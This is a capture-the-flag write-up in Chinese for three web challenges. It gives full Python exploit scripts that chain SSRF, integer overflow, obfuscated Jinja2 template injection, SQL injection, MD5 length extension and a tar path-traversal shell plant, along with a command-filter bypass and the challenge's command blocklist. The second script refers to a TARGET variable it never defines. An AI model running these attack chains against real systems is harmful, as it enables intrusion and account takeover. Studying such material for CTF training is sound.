2026楚慧杯Web方向全解
2026楚慧杯Web方向全解
拯救芙莉莲
dirsearch扫到robots.txt,发现<(´⌯ ̫⌯`)>.php
看报错是文件包含
伪协议读一下源码:?file=php://filter/convert.base64-encode/resource=<(´⌯ ̫⌯`)>.php
关键代码如下:
<?php
if (isset($_GET['spell'])) {
echo '<div class="error-box">';
echo '<h2>🔮 解开宝箱怪的封印</h2>';
echo '<pre>';
echo "芙芙: \"这个宝箱怪有一个古老的封印,需要正确的魔法咒语才能解开...\"\n";
echo "芙芙: \"我记得封印的关键在根目录的某个文件里...\"\n";
echo "芙芙: \"但是宝箱怪的魔法屏障会拒绝某些危险的咒语!\"\n";
echo "芙芙: \"也许你可以用 Linux 命令来读取那个文件?\"\n";
$spell = $_GET['spell'];
echo "你的咒语: " . htmlspecialchars($spell) . "\n";
$forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');
foreach ($forbidden as $bad) {
if (stripos($spell, $bad) !== false) {
die("⚠️ 检测到禁忌的黑魔法!\n芙芙: \"宝箱怪拒绝了这个咒语...\"\n</pre></div></body></html>");
}
}
if (stripos($spell, 'flag') !== false) {
die("⚠️ 宝箱怪的魔法屏障启动了!它不允许直接念出 'flag' 这个词!\n</pre></div></body></html>");
}
$blocked_commands = array('cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'sort', 'uniq', 'strings', 'od', 'xxd', 'hexdump', 'grep', 'awk', 'sed', 'cut', 'rev', 'base64', 'env');
foreach ($blocked_commands as $cmd) {
if (stripos($spell, $cmd) !== false) {
die("⚠️ 宝箱怪识破了你的咒语!命令 '$cmd' 已被封印!\n芙芙: \"这些常用的命令都被屏蔽了...得想想其他办法...\"\n</pre></div></body></html>");
}
}
echo "施法中...\n";
echo "━━━━━━━━━━━━━━━━━━━━\n";
$result = shell_exec($spell);
if ($result) {
echo "✨ 封印解除了!宝箱怪消失了!\n\n";
echo "【施法结果】:\n";
echo $result;
echo "\n━━━━━━━━━━━━━━━━━━━━\n";
echo "芙芙: \"太棒了!你成功救出了我!这是我珍藏的神秘卷轴,看看里面有什么~\"\n";
} else {
echo "❌ 咒语似乎没有效果...\n";
echo "芙芙: \"也许需要调整一下咒语的内容?\"\n";
}
echo '</pre>';
echo '</div>';
}
?>漏洞点:
$result = shell_exec($spell);尝试cat,传入:
?spell=cat /flag,发现被waf,简单绕过后,payload如下:
?spell=c''at%20/f*cybers
这里先给出脚本:
import requests
import re
from urllib.parse import quote_plus
import html
TARGET_GATEWAY = "http://45.40.247.139:19944"
INTERNAL_PORT = 5000
def send_data(packet):
payload = {"port": INTERNAL_PORT, "data": packet}
response = requests.post(f"{TARGET_GATEWAY}/relay", data=payload)
return response.text
def execute_attack():
print("[*] Stage 1: Session Acquisition")
handshake = "GET /initialize HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n"
raw_init = send_data(handshake)
auth_token = re.findall(r"session=([a-zA-Z0-9._-]+)", raw_init)[0]
print("[*] Stage 2: Integer Overflow Bypass")
exploit_val = -9223372036854775808
hack_call = (
f"GET /hack?amount={exploit_val} HTTP/1.1\r\n"
"Host: 127.0.0.1\r\n"
f"Cookie: session={auth_token}\r\n"
"Connection: close\r\n\r\n"
)
raw_hack = send_data(hack_call)
auth_token = re.findall(r"session=([a-zA-Z0-9._-]+)", raw_hack)[0]
template_inj = "{% set sp=dict(s=1,p=1,l=1,i=1,t=1)|join %}{% set ge=dict(g=1,e=1,n=1)|join %}{% set er=dict(e=1,r=1)|join %}{% set ate=dict(a=1,t=1,e=1)|join %}{% set gg=ge+er+ate %}{% set u=(((lipsum|string)|attr(sp)(gg))|last)|first %}{% set gl=dict(g=1,l=1,o=1,b=1,a=1)|join + dict(l=1,s=1)|join %}{% set gs=u+u+gl+u+u %}{% set gt=dict(g=1,e=1,t=1)|join %}{% set lp=lipsum(1,html=true)|string %}{% set lt=(lipsum|string)|first %}{% set sl=((lp|attr(sp)(lt)|last)|first) %}{% set po=dict(p=1,o=1)|join %}{% set pen=dict(p=1,e=1,n=1)|join %}{% set pp=po+pen %}{% set rd=dict(r=1,e=1,a=1,d=1)|join %}{% set oo=dict(o=1,s=1)|join %}{% set om=(lipsum|attr(gs))|attr(gt)(oo) %}{% set spc=(((g|string)|attr(sp)(dict(g=1)|join))|last)|first %}{% set mn=((dict(a=1)|count-dict(a=1)|count-dict(a=1)|count)|string)|first %}{% set usr=dict(u=1,s=1,r=1)|join %}{% set bin=dict(b=1,i=1,n=1)|join %}{% set tar=dict(t=1,a=1,r=1)|join %}{% set cf=dict(c=1,f=1)|join %}{% set fg=dict(f=1,l=1,a=1,g=1)|join %}{% set cmd=sl+usr+sl+bin+sl+tar+spc+mn+cf+spc+mn+spc+sl+fg %}{% set ph=om|attr(pp)(cmd) %}{% print(ph|attr(rd)()) %}"
encoded_body = f"fragment={quote_plus(template_inj)}"
final_packet = (
"POST /market?cmd=cat%20/flag HTTP/1.1\r\n"
"Host: 127.0.0.1\r\n"
f"Cookie: session={auth_token}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(encoded_body)}\r\n"
"Connection: close\r\n\r\n"
f"{encoded_body}"
)
print("[*] Stage 3: Payload Delivery")
output = send_data(final_packet)
print("\n--- Output Buffer ---")
data_block = re.search(r"<h3>Fragment '(.*?)' not found", output, re.DOTALL)
if data_block:
print(html.unescape(data_block.group(1)))
else:
print(output)
captured = re.findall(r'(flag\{.*?\}|DASCTF\{.*?\}|FLAG\{.*?\})', output, re.IGNORECASE)
if captured:
print(f"\n[!] Flag Detected: {captured[0]}")
if __name__ == "__main__":
execute_attack()我们来看看这个脚本是怎么工作的:
首先定义send_data函数,利用靶机的/relay路由向内网进行数据转发
其次,因为后面的价格更改操作都需要token,我们需要利用SSRF,利用/relay访问/initialize路由,获取token
然后就是更改价格了,利用整数溢出(这里是-9223372036854775808,即64 位带符号整数的最小值)使得余额变成一个巨大的正数,从而满足ssti的前置要求
接着就是这题最核心的绕过了:动态字符串构造
题目ban了很多,常见的危险函数、全角绕过等等方法都走不通,只能尝试用dict键去构造,例如:
dict(o=1,s=1)|join 在进行构造时,jinjia2会构造出一个字典:{"o":1,"s":1}后面的join会把把可迭代对象里的元素拼成字符串(字典在迭代时,默认迭代的是“键”),这样就构造了os
我们看到payload最后:{% set ph=om|attr(pp)(cmd) %}
om 前面已经被构造成 os,pp 前面被构造成 popen,==attr(pp) 就是动态取属性==,相当于 .popen
所以这一句等价理解为:
ph = os.popen(cmd)下面就是动态取ph的read属性以获取输出
{% print(ph|attr(rd)()) %}Fisafopil
还是先给出脚本:
import requests, binascii, struct, math, re, tarfile, io, time, random, string
ENDPOINT = "http://45.40.247.139:26066"
def bit_rotate(v, s):
return ((v << s) | (v >> (32 - s))) & 0xFFFFFFFF
CONST_K = [int(math.floor(abs(math.sin(idx + 1)) * (2 ** 32))) for idx in range(64)]
CONST_S = [7, 12, 17, 22] * 4 + [5, 9, 14, 20] * 4 + [4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4
def md5_step(iv, chunk):
a, b, c, d = iv
w = list(struct.unpack("<16I", chunk))
aa, bb, cc, dd = a, b, c, d
for j in range(64):
if j < 16:
func = (bb & cc) | ((~bb) & 0xFFFFFFFF & dd)
pos = j
elif j < 32:
func = (dd & bb) | (cc & ((~dd) & 0xFFFFFFFF))
pos = (5 * j + 1) % 16
elif j < 48:
func = bb ^ cc ^ dd
pos = (3 * j + 5) % 16
else:
func = cc ^ (bb | ((~dd) & 0xFFFFFFFF))
pos = (7 * j) % 16
res = (func + aa + CONST_K[j] + w[pos]) & 0xFFFFFFFF
aa = dd
dd = cc
cc = bb
bb = (bb + bit_rotate(res, CONST_S[j])) & 0xFFFFFFFF
return ((a + aa) & 0xFFFFFFFF, (b + bb) & 0xFFFFFFFF, (c + cc) & 0xFFFFFFFF, (d + dd) & 0xFFFFFFFF)
def generate_pad(size):
return b"\x80" + b"\x00" * ((55 - size) % 64) + struct.pack("<Q", size * 8)
def compute_from_state(h_state, stream):
x, y, z, w = h_state
for k in range(0, len(stream), 64):
x, y, z, w = md5_step((x, y, z, w), stream[k : k + 64])
return struct.pack("<4I", x, y, z, w).hex()
def attack_md5(initial_h, orig_len, suffix):
ctx = struct.unpack("<4I", bytes.fromhex(initial_h))
gap = generate_pad(orig_len)
total_len = orig_len + len(gap) + len(suffix)
return compute_from_state(ctx, suffix + generate_pad(total_len)), gap + suffix
def run_pwn():
cli = requests.Session()
cli.timeout = 20
pass_raw = b"secret_pass"
user_id = "vortex_" + "".join(random.choices(string.ascii_lowercase, k=5))
u_hex = binascii.hexlify(user_id.encode()).decode()
p_hex = binascii.hexlify(pass_raw).decode()
cli.post(f"{TARGET}/register", json={
"username": u_hex, "password": p_hex, "employee_number": "EMP_99",
"email": "dev@null.org", "phone_number": "00000000",
"first_name": "Alpha", "last_name": "Omega",
"date_of_birth": "1990-10-10", "address": "Void"
})
cli.post(f"{TARGET}/login", data={"username": u_hex, "password": p_hex})
injection = f"'; UPDATE users SET email=(SELECT password FROM users WHERE username='{user_id}') WHERE username='{user_id}'; --"
cli.post(f"{TARGET}/edit-profile", params={
"employee_number": "EMP_99", "email": "a@b.com" + injection,
"phone_number": "00000000", "first_name": "Alpha", "last_name": "Omega",
"date_of_birth": "1990-10-10", "address": "Void"
})
profile = cli.get(f"{TARGET}/info").text
h_leak = re.search(r'([a-f\d]{32})', profile.split('邮箱')[1]).group(1)
forged_h, forged_payload = attack_md5(h_leak, 16 + len(pass_raw), b"_privesc")
payload_pass = pass_raw + forged_payload
update_admin = f"'; UPDATE users SET password='{forged_h}' WHERE username='admin'; --"
cli.post(f"{TARGET}/edit-profile", params={
"employee_number": "EMP_99", "email": "x@y.com" + update_admin,
"phone_number": "00000000", "first_name": "Alpha", "last_name": "Omega",
"date_of_birth": "1990-10-10", "address": "Void"
})
root = requests.Session()
root.post(f"{TARGET}/login", data={
"username": binascii.hexlify(b"admin").decode(),
"password": payload_pass.hex()
}, allow_redirects=False)
shell = '{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cat /flag").read() }}'
mem = io.BytesIO()
with tarfile.open(fileobj=mem, mode="w") as arch:
t_meta = tarfile.TarInfo(name="../templates/info.html")
data = f"<html><body>{shell}</body></html>".encode()
t_meta.size = len(data)
arch.addfile(t_meta, io.BytesIO(data))
mem.seek(0)
root.post(f"{TARGET}/admin/restore", files={"restore_file": ("patch.tar", mem, "application/x-tar")})
time.sleep(2)
print(root.get(f"{TARGET}/info").text)
if __name__ == "__main__":
run_pwn()这道题的漏洞主要有两个:首先是密码存在哈希长度拓展攻击,其次是email处存在sql注入
依旧是先看主要函数run_pwn():
首先注册普通用户:
cli.post(f"{TARGET}/register", json={
"username": u_hex, "password": p_hex, "employee_number": "EMP_99",
"email": "dev@null.org", "phone_number": "00000000",
"first_name": "Alpha", "last_name": "Omega",
"date_of_birth": "1990-10-10", "address": "Void"
})
cli.post(f"{TARGET}/login", data={"username": u_hex, "password": p_hex})拿到密码,然后去登录(因为email处存在sql注入,我们可以查出我们刚刚注册的账户对应密码哈希):
cli.post(f"{TARGET}/login", data={"username": u_hex, "password": p_hex})
injection = f"'; UPDATE users SET email=(SELECT password FROM users WHERE username='{user_id}') WHERE username='{user_id}'; --"
cli.post(f"{TARGET}/edit-profile", params={
"employee_number": "EMP_99", "email": "a@b.com" + injection,
"phone_number": "00000000", "first_name": "Alpha", "last_name": "Omega",
"date_of_birth": "1990-10-10", "address": "Void"
})然后就是去打哈希函数拓展攻击了(可以使用hashdump,脚本是用md5_step函数实现拓展攻击的效果):
我们来推测一下服务端的逻辑:
md5(secret_key || "input")我们的输入input可控,但是服务端的secret_key我们不知道,即使我们能改数据库中admin的密码,不知道加密逻辑的情况下,我们的输入就不确定(那这个问题实际上就变成了逆向md5的问题,这是不可能的)所以这时候我们就要利用到哈希长度拓展攻击
必须已知的条件:密码、key长度(长度为16,附件给了)、密码对应哈希
我们先前注册的密钥和sql读出来的对应哈希这时候就排上用场了,利用工具我们就能得出对应的输入和输出(下图仅为示例):
哈希长度拓展攻击的具体原理可以去看这位师傅的文章:https://www.cnblogs.com/yunen/p/13624595.html
其实这里可以将admin的密码哈希值改成你注册密码的哈希值,因为注册时记录了密码,但是可能源码对这里做了限制吧(没有附件忘记了,(⊙﹏⊙))
其实这题有个很大的坑点(至少把我坑了):当发现sql注入后,直接尝试查表查字段,我搁那数据库翻了半天都没找到flag
正确的做法是登录后利用/admin/restore路由打tar恶意文件和目录穿越
shell = '{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cat /flag").read() }}'
mem = io.BytesIO()
with tarfile.open(fileobj=mem, mode="w") as arch:
t_meta = tarfile.TarInfo(name="../templates/info.html")
data = f"<html><body>{shell}</body></html>".encode()
t_meta.size = len(data)
arch.addfile(t_meta, io.BytesIO(data))
mem.seek(0)
root.post(f"{TARGET}/admin/restore", files={"restore_file": ("patch.tar", mem, "application/x-tar")})
time.sleep(2)
print(root.get(f"{TARGET}/info").text)利用目录穿越将含有恶意ssti模板注入的tar压缩包通过/admin/restore接口经服务器解压后落地到/info路由,替换info.html被jinjia2渲染,实现ssti注入的绕过与回显
值得注意有以下几点:
mem = io.BytesIO()是为了在内存中构建文件,而不是在磁盘中创建文件
addfile(tarinfo, fileobj)允许将一个文件头信息对象(t_meta) 和一个文件内容流 (io.BytesIO(data)) 组合起来写入压缩包
必须手动设置size:TAR 格式要求在文件头中明确声明后续数据流的长度
涵盖robots.txt发现、PHP伪协议读源码、WAF绕过执行命令;SSRF获取token后整数溢出触发Jinja2 SSTI;SQLi结合哈希长度拓展攻击+tar目录穿越实现模板注入。
由 AI 根据全文自动生成,仅供参考,以原文为准